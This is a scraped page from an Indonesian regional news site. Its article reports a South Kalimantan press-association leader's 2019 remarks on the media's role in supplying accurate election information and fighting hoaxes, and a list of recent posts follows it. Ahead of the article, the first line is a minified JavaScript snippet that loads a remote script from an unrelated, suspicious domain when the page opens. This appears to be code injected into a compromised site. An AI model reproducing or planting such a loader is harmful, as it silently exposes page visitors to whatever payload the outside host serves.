(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Peran Media Memberikan Informasi Sahih di Pemilu 2019


MARTAPURA, Sistem politik demokrasi merupakan sistem yang memberikan ruang bagi keadilan dan persamaan bagi semua warga, pilihan paling populer digunakan negara-negara di dunia.

Ciri paling mendasar dari sebuah negara demokrasi adalah keberadaan pemilihan umum (Pemilu), sekalipun bukan satu-satunya aspek dalam demokrasi, namun Pemilu merupakan suatu bagian yang sangat penting. Karena Pemilu berperan sebagai mekanisme perubahan politik, dimana pola dan arah kebijakan publik dan mengenal sirkulasi elite secara tertib.

Begitu disampaikan Ketua PWI Kalsel Zainal Helmie, saat menghadiri sosialisasi pengawasan “Partisipasi Masyarakat Dalam Pengawasan Pemilu tahun 2019” yang digelar Bawaslu Banjar, di Fave Hotel Banjarbaru, Kamis (28/3).

Menurut Zainal Helmie dengan berjalannya waktu, Pemilu di Indonesia dimulai dari tahun 1955 sudah mengalami perkembangan cukup signifikan, apabila dilihat dari aspek pengawasan dalam Pemilu.

“Untuk menuju Pemilu yang berkualitas dan berintegritas membutuhkan peranan berbagai pihak, termasuk media massa sebagai pilar keempat dalam demokrasi. Berdiri sejajar dengan eksekutif, legislatif, dan yudikatif, media massa memiliki peran penting dalam pengawasan Pemilu. Pers memiliki fungsi yang salah satu sebagai kontrol sosial,” jelasnya.

Lebih jauh Helmie menjelaskan, belakangan banyak beredar berita bohong atau hoax yang dibuat oleh kelompok tertentu. Pers atau media memiliki tugas dan kewajiban memberikan informasi yang benar kepada masyarakat.

“Diharapkan dengan diterimanya informasi yang benar, masyarakat dapat turut serta secara aktif melakukan pengawasan terhadap jalannya Pemilu,” ujarnya.

Masyarakat juga harus memiliki literasi yang baik, agar tidak mudah terhasut isu yang dihembuskan media abal-abal yang mengatasnamakan pers. Mengingat tidak sedikit sekarang banyak hoax yang dikemas sedemikian rupa membuat orang bingung antara fakta atau hoax.

“Media adalah fatner, media dalam kontestasi Pemilu ini harus menyuguhkan berita yang independen, selain itu independen dalam pemberitaan media harus bersikap kritis dalam pemberitaannya,” pungkasnya. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

14 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

14 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

14 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

15 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

15 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

17 jam ago

This website uses cookies.